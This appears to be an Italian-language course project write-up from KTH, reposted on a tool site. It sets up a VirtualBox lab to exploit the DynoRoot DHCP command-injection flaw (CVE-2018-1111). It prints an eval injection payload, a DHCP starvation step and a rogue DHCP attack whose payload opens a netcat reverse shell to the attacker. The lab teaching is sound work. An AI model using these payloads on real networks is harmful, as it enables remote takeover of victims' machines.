FEP3370-advanced-ethical-hacking — Sfruttamento DHCP con DynoRoot (CVE-2018-1111) | Kitploit

<!-- omit in toc -->
#### Funzionamento normale
In situazioni normali, il codice funzionerebbe perfettamente e analizzerebbe le nuove opzioni DHCP.
Ad esempio, il seguente codice:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"

declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
  optname=${opt%%=*}
  optname=${optname,,}
  optname=new_${optname#dhcp4_}
  optvalue=${opt#*=}
  echo "export $optname=$optvalue"
done

<!-- omit in toc -->
#### Iniezione di codice
Tuttavia, a causa del `eval` non sicuro, è possibile iniettare comandi bash:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'

eval "$(                             
  declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
  done
)"

### Fonti
- [Voce nel database Exploit](https://www.exploit-db.com/exploits/44890)
- [Annuncio RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
- [Post sul blog di Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [Repository GitHub](https://github.com/kkirsche/CVE-2018-1111)
- [Annuncio su Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)

## Configurazione
La configurazione minima per dimostrare l'exploit consiste in due sole macchine: la macchina `victim`
che esegue Fedora 28 e una macchina `attacker`. In questa configurazione, l'attaccante deve semplicemente fornire un
servizio DHCP e attendere la connessione della vittima.

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
  <figcaption>Configurazione minima per l'exploit.</figcaption>
</figure>

Una configurazione più realistica collocherebbe le macchine su una rete privata, dove una terza macchina, il
`gateway`, è configurata come server DHCP benigno e come gateway verso Internet esterno.
In questa configurazione, l'attaccante deve impedire alla vittima di connettersi al server DHCP legittimo
prima di sperare di eseguire l'attacco.

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
  <figcaption>Configurazione di rete privata con un gateway che funge da DHCP, router e firewall.</figcaption>
</figure>

Nelle sezioni seguenti:
1. Installeremo VirtualBox
2. Creeremo 3 macchine virtuali: `gateway`, `attacker` e `victim`
3. Installeremo il sistema operativo sulle macchine (utenti, rete e accesso SSH)
4. Configureremo il gateway per ospitare il server DHCP benigno 
   per la rete interna virtuale fornita da VirtualBox
5. Installeremo le dipendenze Python per l'attacco

Per [passare direttamente all'azione](#performing-the-attack) e saltare la configurazione manuale, è possibile
eseguire lo script [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) nella cartella `ansible`, che creerà (quasi)
automaticamente le macchine virtuali e le configurerà utilizzando
[Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html).
Assicurati solo che Ansible e VirtualBox siano installati prima di lanciare `setup.sh`.

### Preliminari

#### Installare VirtualBox
Le seguenti istruzioni provengono dalla [guida ufficiale all'installazione](https://www.virtualbox.org/wiki/Downloads).

Aggiungere questa riga a `/etc/apt/sources.list`:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib

#### Installare Ansible (opzionale)
Dalla [guida ufficiale per Ubuntu](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible

Aggiungi queste voci al file di configurazione SSH (`~/.ssh/config`):```
Host gateway.ethhack
  Port 6001
  User gateway   

Host victim.ethhack
  Port 6002
  User victim

Host attacker.ethhack
  Port 6003
  User attacker

Host *.ethhack
  LogLevel ERROR
  HostName localhost
  IdentityFile ~/.ssh/ethhack
  StrictHostKeyChecking no
  UserKnownHostsFile /dev/null

Create the VM:
- Interfaccia di rete 1 connessa alla rete NAT predefinita di VirtualBox
- Interfaccia di rete 2 connessa alla rete interna `intnet`\
  (la "d" nell'indirizzo MAC sta per DHCP)
- Inoltro di porta da una porta `600x` sull'host alla porta SSH nella macchina virtuale```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'

VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"

#### Installazione del sistema operativo
La prima volta che avviamo la macchina abbiamo bisogno di un desktop virtuale per seguire i passaggi di installazione. Possiamo avviare la macchina virtuale in modalità headless e utilizzare `rdesktop-vrdp` per connetterci. Se VirtualBox è in esecuzione su un computer desktop, potrebbe essere più semplice avviare la macchina virtuale dalla GUI, ma questo metodo funzionerà anche con un host VirtualBox remoto.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### Accesso SSH
Per facilità di accesso possiamo installare la chiave SSH creata sopra nella macchina `gateway`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack

Il tempo di lease predefinito scelto di 1 minuto è piuttosto basso, ma è utile per scopi dimostrativi.

<!--```bash
echo '
authoritative;

default-lease-time 60;
max-lease-time 7200;

subnet 192.168.0.0 netmask 255.255.255.0 {
  range 192.168.0.100 192.168.0.105;
  option domain-name-servers 192.168.0.53;
  option domain-name "100waystocook.pizza.";
}
' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null

sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server

sudo systemctl restart isc-dhcp-server

Gli eventi DHCP vengono registrati in `/var/log/syslog`. 
Possiamo evidenziare le voci rilevanti con:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

#### OS Install
La prima volta che avviamo la macchina abbiamo bisogno di un desktop virtuale per seguire i passaggi di installazione. Possiamo avviare la macchina virtuale in modalità headless e utilizzare `rdesktop-vrdp` per connetterci. Se VirtualBox è in esecuzione su un computer desktop, potrebbe essere più semplice avviare la macchina virtuale dalla GUI, ma questo metodo funzionerà anche con un host VirtualBox remoto.```
rdesktop-vrdp localhost:5050

-->
### Attaccante
La macchina dell'attaccante non ha requisiti particolari, deve eseguire Python in un ambiente Conda.
Per semplicità possiamo riutilizzare l'ISO da [Ubuntu Server 18.04](https://releases.ubuntu.com/18.04/).

#### Creazione VM
Creare la VM:
- Interfaccia di rete 1 collegata alla rete NAT predefinita di VirtualBox
- Interfaccia di rete 2 collegata alla rete interna `intnet`\
  (la 'a' nell'indirizzo MAC sta per Attaccante)
- Inoltro di porta da una porta `600x` sull'host alla porta SSH nella macchina virtuale```bash
VM_NAME="attacker"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:aa:aa:aa:aa'

VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"

Parametri di configurazione per l'installer:
- Hostname `attacker`
- Utente `attacker`
- Password `att`
- Imposta `enp0s8` per utilizzare DHCP
- Abilita server SSH

<figure style="text-align:center">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/d0cac70178196a263b1eeeada0027dd0266b2a57c48c5d9aa47dda9259db500f.png" style="max-width:600px;" width="90%"/>
  <figcaption>Screenshot dell'installazione: creazione utente.</figcaption>
</figure>

Dopo l'installazione, spegnere, rimuovere l'iso e disabilitare VRDE:```bash
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off

#### Dipendenze software
The python attack scripts need to run as `root` to be able to craft low-level network packages using [Scapy](https://github.com/secdev/scapy).
Per semplicità, installeremo tutte le dipendenze utilizzando l'utente `root`.
<!-- Versione più recente di NMap (almeno `0de714`) -->```
apt-get install -y build-essential autoconf
git clone https://github.com/nmap/nmap
pushd nmap
git checkout 0de714
./configure
make
make install
popd

nmap --script broadcast-dhcp-discover --script-args mac=random,timeout=2 -e enp0s8
nmap --script dhcp-discover --script-args dhcptype=DHCPRELEASE,mac=08:00:27:EF:5F:BA -e enp0s8

Successivamente, otterremo i due script di attacco da GitHub:
- **DHCP starvation**\
  Questo script inonderà il DHCP benigno con richieste false, 
  esaurendo il pool di indirizzi disponibili.  ```bash
  git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'

DHCP Rogue
Una volta che il DHCP benigno ha esaurito gli indirizzi, questo script sarà pronto per offrire offerte DHCP incorporate con il parametro malevolo. Questo script è una versione modificata del CVE originale): ```bash git clone 'https://github.com/baldassarreFe/CVE-2018-1111' --branch 'feature/ignore-mac'

Create the VM:
- Network interface 1 connessa alla rete NAT predefinita di VirtualBox
- Network interface 2 connessa alla rete interna `intnet`\
  (la "f" nell'indirizzo MAC sta per Fedora)
- Port forwarding da una porta `600x` sull'host alla porta SSH nella macchina virtuale```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'

VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"

#### Installazione del sistema operativo
La prima volta che avviamo la macchina abbiamo bisogno di un desktop virtuale per seguire i passaggi di installazione. Possiamo avviare la macchina virtuale in modalità headless e usare `rdesktop-vrdp` per connetterci. Se VirtualBox è in esecuzione su un computer desktop, potrebbe essere più semplice avviare la macchina virtuale dalla GUI, ma questo metodo funzionerà anche con un host VirtualBox remoto.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### Accesso SSH
Per facilità di accesso possiamo installare la chiave SSH creata sopra nella macchina `victim`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack

In caso contrario, può essere configurato utilizzando:```
sudo nmcli connection down   enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up     enp0s8

## Esecuzione dell'attacco

I seguenti passaggi, eseguiti in ordine, mostreranno l'attacco DHCP.
Suggeriamo di configurare un multiplexer di terminale come [Byobu](https://www.byobu.org/) per facilitare
il passaggio da una macchina all'altra.

Prima dell'attacco:
1. Avviare le 3 macchine virtuali, che si connetteranno automaticamente al DHCP benigno
2. Disconnettere la macchina Fedora e pulire i file di lease DHCP per simulare una nuova connessione
3. Riavviare il server DHCP per simulare una nuova connessione

L'attacco stesso consiste in:
1. Inviare una serie di richieste DHCP FALSE dall'attaccante per _affamare_ il server DHCP benigno
2. Avviare il server DHCP malevolo che invierà OFFERTE maligne alla vittima
3. Riconnettere la macchina Fedora e attendere che NetworkManager trasmetta una DHCP DISCOVER
4. Attendere la connessione della shell inversa

Se succede qualcosa, fermare tutti i servizi rilevanti e ricominciare.

### Gateway
Pulire i vecchi lease DHCP e la tabella ARP, quindi riavviare il DHCP:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8

sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

Avvia l'esaurimento DHCP (eseguito come `root`):```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
  --interface  enp0s8 \
  --pool-start 192.168.0.100 \
  --pool-end   192.168.0.105

Lancia l'attacco (esegui come `root`):```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
  -i enp0s8 \
  -s 192.168.0.0/24 \
  -g 192.168.0.1 \
  -d 'victim.net' \
  -m "${MY_MAC}" \
  -p "nc -e /bin/bash ${MY_IP} 1337"

### Analisi

#### Cattura video
Il seguente [video](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) mostra l'esecuzione dell'attacco seguendo i
passaggi sopra indicati. Nel video è possibile osservare:
1. Lo scambio DHCP a 4 vie tra il `gateway` e l'`attacker`
2. L'attacco di starvation DHCP, sia nella console dell'attaccante 
   che nei log del server DHCP (notare il `NACK` a causa del lease esistente dell'attaccante)
3. Il messaggio "no free leases" dal `gateway` quando la `vittima` trasmette un DHCP `DISCOVER`
4. I messaggi DHCP manipolati del server DHCP rogue che offre `192.168.0.2`
5. La conferma che netcat ha ricevuto la connessione reverse shell da `192.168.0.2`
6. Le opzioni DNS false ricevute dalla `vittima`, 
   ovvero indirizzo DNS `192.168.0.1` e dominio `victim.net`
7. L'esecuzione riuscita di comandi semplici in remoto sulla macchina vittima
8. Il DHCP `RELEASE` inviato alla fine dell'attacco

<a href="https://youtu.be/rgjMzQ5ExyA">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>

#### Analisi del traffico

Il [file di acquisizione](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap) contenente la traccia dell'attacco può essere analizzato in
[Wireshark](https://wiki.wireshark.org/DHCP). Nella cattura possiamo notare:
1. Lo scambio DHCP a 4 vie tra il `gateway` e l'`attacker`
2. L'attacco di starvation DHCP
3. Lo scambio DPCH iniziato dalla `vittima` e completato dall'`attacker`
4. Le richieste e risposte ARP _who-has_ quando la `vittima` si è connessa alla sessione netcat 
   sull'`attacker`

<figure style="text-align:center">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
  <figcaption>Acquisizione dei pacchetti dell'attacco, l'opzione DHCP relativa all'exploit è evidenziata. Le lettere negli indirizzi MAC indicano: <code>d</code> server DHCP, <code>a</code> attaccante, <code>f</code> vittima Fedora</figcaption>
</figure>

## Lavori futuri
DynoRoot colpisce vecchie distribuzioni Fedora e RedHat, ed è stato corretto nelle versioni più recenti.
Pertanto, le possibilità di eseguire questo exploit in ambienti reali sono limitate. Fortunatamente, gli attacchi DHCP
non si limitano all'esecuzione remota di codice: qualsiasi tipo di opzione manipolata verrà accettata dal client
indipendentemente dalla presenza della vulnerabilità DynoRoot. Il modo più semplice per sfruttare questo comportamento
è pubblicizzare una macchina controllata dall'attaccante come gateway di rete o come DNS per una determinata
zona, consentendo così di monitorare, ispezionare e re-indirizzare tutto il traffico successivo.

Un'altra direzione interessante riguarda gli attacchi di starvation DHCP. L'attacco presentato in questo progetto
si basa sull'inondare il server DHCP con `REQUESTS` da indirizzi MAC falsificati, il che non è esattamente la
definizione di furtività. Questo post del blog esplora la possibilità di 
[eseguire attacchi di starvation senza inviare un singolo pacchetto DHCP](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9) 
ma basandosi invece su risposte ARP falsificate.

## Crediti
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) è stato segnalato a Red Hat
da [Felix Wilhelm](https://twitter.com/_fel1x) del Google Security Team.

Lo script Python per eseguire l'exploit proviene dal [repository](https://github.com/kkirsche/CVE-2018-1111) GitHub di [Kevin Kirsche](https://github.com/kkirsche)
con lievi modifiche per ignorare l'indirizzo MAC dell'attaccante stesso.

FEP3370-advanced-ethical-hacking

Più Popolari

Introduzione

Contesto

Vulnerabilità

Configurazione SSH comune

Macchina gateway

Creazione VM

server DHCP

Rete

Installazione del sistema operativo

Vittima Fedora

Creazione VM

Rete

Attaccante

Vittima

FEP3370-advanced-ethical-hacking

Più Popolari

DynoRoot CVE-2018-1111

Progetto finale per il corso Advanced Ethical Hacking presso il KTH, Stoccolma

Indice dei contenuti:

Introduzione

Contesto

Vulnerabilità

Configurazione SSH comune

Macchina gateway

Creazione VM

server DHCP

Rete

Installazione del sistema operativo

SSH Login

Vittima Fedora

Creazione VM

Rete

Attaccante

Vittima